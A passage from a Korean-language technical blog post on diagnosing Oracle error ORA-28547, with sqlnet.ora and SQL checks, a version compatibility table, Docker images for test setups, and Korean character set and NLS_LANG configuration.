&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 클라이언트에서 ORA_NLS10 변수 확인&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Windows&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; %ORA_NLS10%

&lt;span class=&quot;token comment&quot;&gt;# Linux&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$ORA_NLS10&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;클라이언트 &lt;code class=&quot;language-text&quot;&gt;ORA_NLS10&lt;/code&gt;을 비워두거나 올바른 경로로 지정 (대부분 비워두는 게 정답)&lt;/li&gt;
&lt;li&gt;클라이언트 버전이 너무 낮으면 서버 character set을 못 따라가므로 &lt;strong&gt;클라이언트 업그레이드&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;사용자 정의 character set을 쓴다면 클라이언트 쪽에도 동일하게 설치&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3단계 — Windows DRCP + NTS 점검&lt;/h3&gt;
&lt;p&gt;DRCP(Database Resident Connection Pool)를 Windows에서 사용하면서 &lt;code class=&quot;language-text&quot;&gt;SQLNET.AUTHENTICATION_SERVICES=NTS&lt;/code&gt;인 경우 ORA-28547이 발생합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ini&quot;&gt;&lt;pre class=&quot;language-ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# sqlnet.ora — Windows DRCP 환경&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;SQLNET.AUTHENTICATION_SERVICES&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;(NONE)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;버전 호환:&lt;/strong&gt; DRCP는 &lt;strong&gt;Oracle 11g R1(11.1)에서 도입&lt;/strong&gt;되었습니다. 11g~19c 모든 버전에서 같은 증상이 발생할 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4단계 — Shared Server 자원·타임아웃 확인&lt;/h3&gt;
&lt;p&gt;Shared server 모드에서 모든 shared server가 busy 상태일 때, &lt;code class=&quot;language-text&quot;&gt;SQLNET.INBOUND_CONNECT_TIMEOUT&lt;/code&gt;(기본 60초, 11g 이후 동일)이 만료되면 ORA-28547로 떨어집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- shared server 사용 현황&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; network&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idle&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; busy
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; v$dispatcher&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; busy&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idle
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; v$shared_server&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;SHARED_SERVERS&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;MAX_SHARED_SERVERS&lt;/code&gt; 파라미터 상향&lt;/li&gt;
&lt;li&gt;또는 tnsnames.ora의 &lt;code class=&quot;language-text&quot;&gt;(CONNECT_DATA = ... (SERVER = DEDICATED) ...)&lt;/code&gt; 명시로 dedicated 강제&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;sqlnet.ora&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;SQLNET.INBOUND_CONNECT_TIMEOUT_LISTENER&lt;/code&gt; 값을 늘려 일시적 회피 (근본 해결은 자원 확보)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5단계 — alert.log·trace에서 동반 에러 찾기&lt;/h3&gt;
&lt;p&gt;서버의 &lt;code class=&quot;language-text&quot;&gt;$ORACLE_BASE/diag/rdbms/&amp;lt;DB&gt;/&amp;lt;SID&gt;/trace/alert_&amp;lt;SID&gt;.log&lt;/code&gt;(11g R1 이상, ADR 도입 후)에 ORA-28547과 함께 추가 단서가 찍힌 경우가 많습니다. 10g 이하·11g 이전 환경은 &lt;code class=&quot;language-text&quot;&gt;$ORACLE_HOME/admin/&amp;lt;SID&gt;/bdump/alert_&amp;lt;SID&gt;.log&lt;/code&gt; 경로입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;버전별 호환표 — 11g · 12c · 19c&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;11g R2&lt;/th&gt;
&lt;th&gt;12c&lt;/th&gt;
&lt;th&gt;19c&lt;/th&gt;
&lt;th&gt;운영 영향&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ORA-28547 정의·공식 원인 5가지&lt;/td&gt;
&lt;td&gt;동일&lt;/td&gt;
&lt;td&gt;동일&lt;/td&gt;
&lt;td&gt;동일&lt;/td&gt;
&lt;td&gt;본문 1~5단계 모두 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인증 파라미터&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;SQLNET.ALLOWED_LOGON_VERSION&lt;/code&gt; (단일)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;_SERVER&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;_CLIENT&lt;/code&gt; 분리, 단일은 deprecated&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;_SERVER&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;_CLIENT&lt;/code&gt; 권장, 단일은 desupport 대상&lt;/td&gt;
&lt;td&gt;12c 이상 업그레이드 시 파라미터 이름 교체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRCP&lt;/td&gt;
&lt;td&gt;11.1부터 사용 가능&lt;/td&gt;
&lt;td&gt;사용 가능&lt;/td&gt;
&lt;td&gt;사용 가능&lt;/td&gt;
&lt;td&gt;본문 3단계 동일 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alert.log 경로&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;diag/rdbms/...&lt;/code&gt; (ADR)&lt;/td&gt;
&lt;td&gt;동일&lt;/td&gt;
&lt;td&gt;동일&lt;/td&gt;
&lt;td&gt;11g 이전은 &lt;code class=&quot;language-text&quot;&gt;bdump/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Premier / Extended Support&lt;/td&gt;
&lt;td&gt;11.2.0.4: &lt;strong&gt;2020-12 종료&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12.2: &lt;strong&gt;2022-03 종료&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;19c: 2027-04 / 2032-04 (예정)&lt;/td&gt;
&lt;td&gt;11g·12c 운영 시 보안 패치 부재&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;11g 운영자 주의:&lt;/strong&gt; Oracle 11.2.0.4의 모든 패치 지원은 &lt;strong&gt;2020년 12월에 종료&lt;/strong&gt;됐습니다. ORA-28547 자체는 본 가이드대로 동일하게 해결되지만, &lt;strong&gt;OS·네트워크 보안 패치 갱신이 멈춰 있으므로 19c 마이그레이션을 권장&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;테스트·개발용 Oracle 도커 이미지 추천 (2026-05 기준)&lt;/h2&gt;
&lt;p&gt;ORA-28547을 로컬에서 재현하거나 버전별 동작을 검증할 때 어떤 도커 이미지를 쓰는 게 좋은지 용도별로 정리했습니다.&lt;/p&gt;
&lt;h3&gt;용도별 권장 이미지&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;권장 이미지&lt;/th&gt;
&lt;th&gt;라이선스 / 비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;빠른 로컬 개발 / 최신 기능 검증&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;container-registry.oracle.com/database/free&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Oracle 공식, 23ai Free, 무료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;멀티 아치 (Apple Silicon · ARM64)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gvenzl/oracle-free&lt;/code&gt; (23.5+)&lt;/td&gt;
&lt;td&gt;Oracle 직원이 메인테인, 멀티 플랫폼 빌드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19c · 21c 엔터프라이즈 동작 검증&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;container-registry.oracle.com/database/enterprise&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Oracle 계정·라이선스 동의 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11g R2 레거시 호환 검증&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gvenzl/oracle-xe:11.2.0.2-slim&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;x86_64 전용, ARM은 에뮬레이션 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;디스크 절약·빠른 시작&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gvenzl/oracle-free:slim&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;:latest-lite&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;슬림 빌드, 일부 기능 제외&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;23ai Free — 현재 가장 권장 (라이선스·아키 모두 자유로움)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; oracle-free &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1521&lt;/span&gt;:1521 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ORACLE_PWD&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;YourSecurePassword &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  container-registry.oracle.com/database/free:latest-lite

&lt;span class=&quot;token comment&quot;&gt;# 접속&lt;/span&gt;
sqlplus sys/YourSecurePassword@localhost:1521/FREEPDB1 as sysdba&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서비스명은 &lt;code class=&quot;language-text&quot;&gt;FREE&lt;/code&gt;(CDB) 또는 &lt;code class=&quot;language-text&quot;&gt;FREEPDB1&lt;/code&gt;(기본 PDB). ORA-28547 재현/검증을 위해 sqlnet.ora를 손봐야 한다면 &lt;code class=&quot;language-text&quot;&gt;/opt/oracle/oradata/dbconfig/FREE/&lt;/code&gt; 경로를 볼륨 마운트하세요.&lt;/p&gt;
&lt;h3&gt;Apple Silicon · ARM64 환경에서 주의&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;23ai Free (23.5 이상)&lt;/strong&gt; — 멀티 아치 이미지라 그대로 사용 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;11g / 18c / 21c XE&lt;/strong&gt; — Oracle DB는 ARM 네이티브 포트가 없으므로 &lt;a href=&quot;https://github.com/abiosoft/colima&quot;&gt;colima&lt;/a&gt; 등으로 x86_64 에뮬레이션 필요:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# colima로 x86_64 VM 띄우고 그 위에서 실행&lt;/span&gt;
colima start &lt;span class=&quot;token parameter variable&quot;&gt;--arch&lt;/span&gt; x86_64 &lt;span class=&quot;token parameter variable&quot;&gt;--memory&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--platform&lt;/span&gt; linux/amd64 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; oracle-xe-11g &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1521&lt;/span&gt;:1521 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ORACLE_PASSWORD&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;YourSecurePassword &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  gvenzl/oracle-xe:11.2.0.2-slim&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;운영 환경에서의 주의&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Oracle 공식 엔터프라이즈 이미지(&lt;code class=&quot;language-text&quot;&gt;container-registry.oracle.com/database/enterprise&lt;/code&gt;)는 &lt;strong&gt;상용 라이선스 동의가 필요&lt;/strong&gt;합니다. 운영 용도라면 사내 라이선스 정책 확인 필수.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;gvenzl/oracle-xe&lt;/code&gt; 같은 커뮤니티 XE 이미지는 &lt;strong&gt;개발·테스트 전용&lt;/strong&gt;으로만 사용하세요. 운영은 공식 채널을 통한 라이선스된 환경에서.&lt;/li&gt;
&lt;li&gt;ORA-28547 시나리오 중 &lt;strong&gt;DRCP·Shared Server 재현은 Free 이미지에서도 가능&lt;/strong&gt;하지만 별도 파라미터 설정이 필요합니다 (&lt;code class=&quot;language-text&quot;&gt;ALTER SYSTEM SET shared_servers = ...&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;한글 지원 — 어떤 character set을 쓸까&lt;/h3&gt;
&lt;p&gt;Oracle DB의 한글 처리는 character set 선택이 핵심입니다. 본문 &lt;a href=&quot;#2%EB%8B%A8%EA%B3%84--character-set-%ED%99%95%EC%9D%B8&quot;&gt;2단계 — Character Set 확인&lt;/a&gt;에서 다뤘듯 &lt;strong&gt;클라이언트가 서버 character set을 못 따라가면 ORA-28547로 떨어질 수 있으므로&lt;/strong&gt;, 도커 이미지를 고를 때부터 신경 써두는 게 좋습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Character Set&lt;/th&gt;
&lt;th&gt;권장 시나리오&lt;/th&gt;
&lt;th&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AL32UTF8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;신규 환경 / 다국어 지원&lt;/td&gt;
&lt;td&gt;Oracle 공식 권장, 23ai Free 기본값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KO16MSWIN949&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;레거시 운영 DB(Windows 한글) 미러링&lt;/td&gt;
&lt;td&gt;빌드 시점에 변경 가능한 이미지 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KO16KSC5601&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;매우 오래된 레거시 호환&lt;/td&gt;
&lt;td&gt;신규 시스템에선 비추천&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;케이스 1 — AL32UTF8 (대부분의 신규 환경, 권장)&lt;/h4&gt;
&lt;p&gt;23ai Free 이미지는 &lt;strong&gt;AL32UTF8이 기본값&lt;/strong&gt;입니다. 별도 설정 없이 그대로 쓰면 한글이 정상 처리됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; oracle-free &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1521&lt;/span&gt;:1521 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ORACLE_PWD&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;YourSecurePassword &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  container-registry.oracle.com/database/free:latest-lite&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; parameter&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;value&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; nls_database_parameters
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; parameter &lt;span class=&quot;token operator&quot;&gt;IN&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;NLS_CHARACTERSET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;NLS_NCHAR_CHARACTERSET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- NLS_CHARACTERSET = AL32UTF8&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;케이스 2 — KO16MSWIN949 (레거시 운영 DB 미러링)&lt;/h4&gt;
&lt;p&gt;운영 DB가 KO16MSWIN949로 돌고 있어 로컬에서 동일 환경 재현이 필요한 경우입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;이미지 선택 주의:&lt;/strong&gt; 23ai Free 및 Oracle 공식 docker-images의 23c Free 이미지는 &lt;code class=&quot;language-text&quot;&gt;ORACLE_CHARACTERSET&lt;/code&gt; 환경변수를 줘도 AL32UTF8로 고정되는 알려진 제약이 있습니다(&lt;a href=&quot;https://github.com/oracle/docker-images/issues/2673&quot;&gt;GitHub Issue #2673&lt;/a&gt;). 한글 KO16MSWIN949 환경을 재현하려면 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;gvenzl/oracle-xe&lt;/code&gt;처럼 빌드 시점에 character set을 받아주는 이미지&lt;/strong&gt;를 사용하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; oracle-xe-kr &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1521&lt;/span&gt;:1521 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ORACLE_PASSWORD&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;YourSecurePassword &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ORACLE_CHARACTERSET&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;KO16MSWIN949 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  gvenzl/oracle-xe:21-slim-faststart&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Apple Silicon에선 &lt;code class=&quot;language-text&quot;&gt;gvenzl/oracle-xe&lt;/code&gt;가 ARM 미지원이라 colima로 x86_64 에뮬레이션이 필요합니다(앞의 ARM64 섹션 참고).&lt;/p&gt;
&lt;h4&gt;클라이언트 NLS_LANG 설정 — 한글 깨짐 방지&lt;/h4&gt;
&lt;p&gt;컨테이너 character set과 별개로, &lt;strong&gt;외부 클라이언트에서 한글을 입출력할 때&lt;/strong&gt;는 &lt;code class=&quot;language-text&quot;&gt;NLS_LANG&lt;/code&gt; 환경변수가 핵심입니다.&lt;/p&gt;
&lt;p&gt;자주 헷갈리는 포인트인데, &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;NLS_LANG&lt;/code&gt;의 character set 부분은 서버가 아니라 &quot;클라이언트 터미널/IDE의 실제 표시 인코딩&quot;과 일치&lt;/strong&gt;시켜야 합니다. 매칭이 어긋나면 Oracle이 잘못된 변환을 하고, 한글이 &lt;code class=&quot;language-text&quot;&gt;???&lt;/code&gt;로 깨집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;클라이언트 환경&lt;/th&gt;
&lt;th&gt;권장 NLS_LANG&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;macOS · Linux 터미널 (UTF-8)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;KOREAN_KOREA.AL32UTF8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows 명령 프롬프트 (cp949)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;KOREAN_KOREA.KO16MSWIN949&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JDBC 애플리케이션&lt;/td&gt;
&lt;td&gt;미설정 OK (드라이버가 자동 처리)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Linux / macOS&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;NLS_LANG&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;KOREAN_KOREA.AL32UTF8

&lt;span class=&quot;token comment&quot;&gt;# Windows PowerShell&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:NLS_LANG &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;KOREAN_KOREA.KO16MSWIN949&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Windows cmd&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;NLS_LANG&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;KOREAN_KOREA.KO16MSWIN949&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서버 character set이 다르더라도 Oracle Net이 자동으로 변환해주므로, &lt;strong&gt;클라이언트 표시 인코딩 기준으로 맞추는 게 정답&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h4&gt;Instant Client 패키지 — Basic vs Basic Light&lt;/h4&gt;
&lt;p&gt;외부에서 Oracle 컨테이너에 접속할 때 쓰는 Oracle Instant Client는 &lt;strong&gt;Basic&lt;/strong&gt;과 &lt;strong&gt;Basic Light(basiclite)&lt;/strong&gt; 두 가지로 배포됩니다. 한글 환경이라면 어느 쪽을 받느냐가 character set 호환성과 직결되므로 신중히 골라야 합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Basic&lt;/th&gt;
&lt;th&gt;Basic Light (basiclite)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;패키지 크기&lt;/td&gt;
&lt;td&gt;큼 (~200MB)&lt;/td&gt;
&lt;td&gt;작음 (~40MB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;에러 메시지 언어&lt;/td&gt;
&lt;td&gt;전체 언어&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;영어만&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;지원 character set&lt;/td&gt;
&lt;td&gt;약 250개 (전체)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8개로 제한&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AL32UTF8 (Unicode)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KO16MSWIN949 / KO16KSC5601&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌ → &lt;strong&gt;ORA-12737 발생&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LANGUAGE / TERRITORY 자유 설정&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
